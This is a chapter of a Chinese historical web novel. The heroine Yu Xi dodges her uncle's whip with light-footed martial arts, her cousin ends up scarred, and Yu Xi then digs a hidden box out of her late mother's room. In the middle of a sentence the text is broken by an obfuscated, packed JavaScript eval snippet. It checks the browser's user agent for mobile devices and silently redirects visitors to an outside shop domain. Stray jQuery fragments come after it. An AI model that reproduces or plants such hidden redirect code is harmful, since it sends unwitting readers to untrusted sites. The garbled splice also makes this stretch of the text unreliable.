刚才她正好站在虞曦后面,幸灾乐祸地等着看虞曦挨打。
蓝千刃惊呆了。
新婚那日,他只看到虞照晔动手,没想到虞曦居然有轻功在身。
刚才他看得清清楚楚,虞曦用了轻功闪躲到岳父身后,顺便还踢了他一脚,让岳父顺势向前。
连他都不会轻功,只有外家功夫。
那是江湖人才会学的东西,战场上的将士都用的外家功夫。
虞嫣拿开手,血淋淋的,吓得她惊慌失措,哇的一声哭了起来:“夫君,我毁容了。”
“嫣儿。”钟佩娟心疼坏了,“侯爷,你怎么就不长眼睛。”
虞庆礼也傻眼了。
怎么会这样?
他猛地一转身,就看到虞曦双手抱胸,一副看好戏的模样。
虞曦眼含笑意,她早就算好了位置。
“你居然敢躲,害你妹妹受伤。”虞庆礼气得暴跳。
又举起鞭子,追着虞曦打。
虞曦又是一躲。
虞庆礼非要打到她不可,她往哪儿躲,虞庆礼就追到哪儿打。
结果把虞家正堂里的家具撞得东倒西歪,几件价值不菲的瓷器也掉到地上摔了个粉碎。
而打了半天的虞庆礼,连鞭尾都没扫到虞曦身上。
他自己却累得直喘气。
两个孩子看戏看得津津有味。
就连两个堂弟也看得目瞪口呆。
“娘亲,你在练武吗?”小姑娘天真地上前拉住脸不红气不喘的虞曦。
“是啊,娘亲好久没运动了,趁此机会活动活动,逗逗你堂外祖父。”虞曦的话气得虞庆礼脸色铁青。
“二叔,你如果还想打,就别怪我不尊老。今日我回来,只为了拿走我娘留给我的东西,至于我父亲留下的东西,就便宜你了。”
毕竟她还要在京中生活,还是要顾忌一下,虞庆礼目前占着二叔这个身份。
但,迟早整个定远侯府都会是她的,她得一步步来。
虞嫣在蓝千刃和钟佩娟的竭力安抚下,停止哭泣。
又派人去请了相熟的大夫来看。
“虞侯爷,蓝将军,二小姐这脸可能要留疤,这鞭子有倒刺,勾出了好些肉,在下实在没办法。”
大夫用纱布把虞嫣脸上的血迹擦干净,看到左腮处的伤口,得出结论。
“娘......呜呜.......”虞嫣听了,又大哭起来。
钟佩娟也跟着一起哭。
同时还恶狠狠地瞪了虞曦一眼,真想吃了她的肉。
可她以前一直在虞曦面前扮慈爱的婶母,一时不知道如何待虞曦。
“我可怜的女儿。都怪你爹,没个轻重。”
虞庆礼本就没有城府,此时他已经六神无主。
“嫣儿,不哭,都是爹不好,爹一定给你买最好的祛疤药,绝不让你脸上留疤。”虞庆礼保证道。
“虞侯爷,在下听说宫里有上好的祛疤药,不妨求来给二小姐用上,或许有效。”大夫建议。
“我去求。”蓝千刃接过这个任务,他知道岳父求不来。
一场闹剧就此结束。
蓝千刃看虞曦的眼神几经变幻。
六年时间,她的变化实在太大,居然会轻功,又想到一个五岁的孩子都能刁钻地打倒几个婆子和丫鬟。
她还有一个丫鬟和一个小厮,还没见他们出过手,但见他们搬过嫁妆,看样子也是武功高手。
如果她的背后真如父亲所说是那个**组织,他们要想顺藤摸瓜立功,很有可能会把整个蓝府都搭进去。
不行,他得和父亲再好好商量一下。
虞曦带着两个孩子和南星、白斩来到她出嫁前住的院子。
也是以前她父母住的院子。
推开院门,看到里面被打扫得干干净净。
看来二叔没少来这里找东西。
虞家最重要的一样东西,直到现在也没落到二叔手里。
当年原主母亲病重,知道自己的女儿肯定要依靠二房生活,所以那件东西藏得十分隐蔽。
交代女儿必须嫁人以后才可拿出来。
只要那东西还没落到二房手里,女儿就能安然无恙。
“南星,白斩,你们守好院门,不得让任何人进来。”虞曦严肃交代。
“是,小姐。”两人立刻应道。
白斩守在院外,南星守在院内。
虞曦牵着两个孩子进了主屋。
一切还是原来的样子,就连以前的摆件都没动过。
估计二叔
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180966|196964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怕自己动了哪里反而更找不到他想要的东西。
“娘,这里就是外祖父和外祖母住的地方吗?”虞照晔扫了一圈。
“是啊,也是我住的地方,你们外祖父在家的时间少,你外祖母去世时,我才十岁,所以一直就没有另给我安排院子,我就住在西厢。”虞曦回忆起原主的记忆。
原主的父母就生了一个女儿。
那时虞家老太爷和老夫人还活着,主院自是给两个老人住。
父亲哪怕功劳再大也要以孝为先。
母子三人来到原主娘住的内室。
床上还是原来的床,雕花八步红木大床,但没有被褥,只有一个瓷枕。
虞曦拿起瓷枕,翻过来,下面有一个暗扣,用力一抠就掉下来了。
往里一看,什么都没有。
“真是的,这点钱都不放过。”
原主把娘临终前的话记得特别牢。
这个瓷枕就是娘藏钱的地方,临终前把大房所有的银票都藏在瓷枕里面,让原主根据需要来花。
且反复交代不可乱花。
原主这点倒是聪明,什么都找二婶要,自己的钱能不花就不花。
她出嫁前,还留了一千两银票在里面的,以备不时之需。
现在不翼而飞,不用猜都知道是二叔拿走了。
娘留下的东西,当年都装进嫁妆里,带去了蓝府。
“闺女,你在门口守着,如果有不相干的人来,你就大叫。”时间有限,虞曦得快些。
虞昭华乖乖走出内室守在外室门口。
“儿子,你来帮我。”
母子俩合力把床移开。
虞曦从墙角开始数,数到第十个地砖时,蹲下。
拿出一把**,开始撬。
虞照晔也拿着自己专用的小**帮着一起撬。
地砖是石板,费了些功夫才撬起。
下面还有一块砖。
不过不用撬,直接可以拿起来,应该是为了防止听出空响。
古人的智慧不比后世的差。
下面有个一尺见方的檀木盒子。
轻轻抱上来,快速把砖又还原。
两人又把床移过来。
“娘,这里面是什么?”虞照晔好奇不已,娘从来没告诉过他。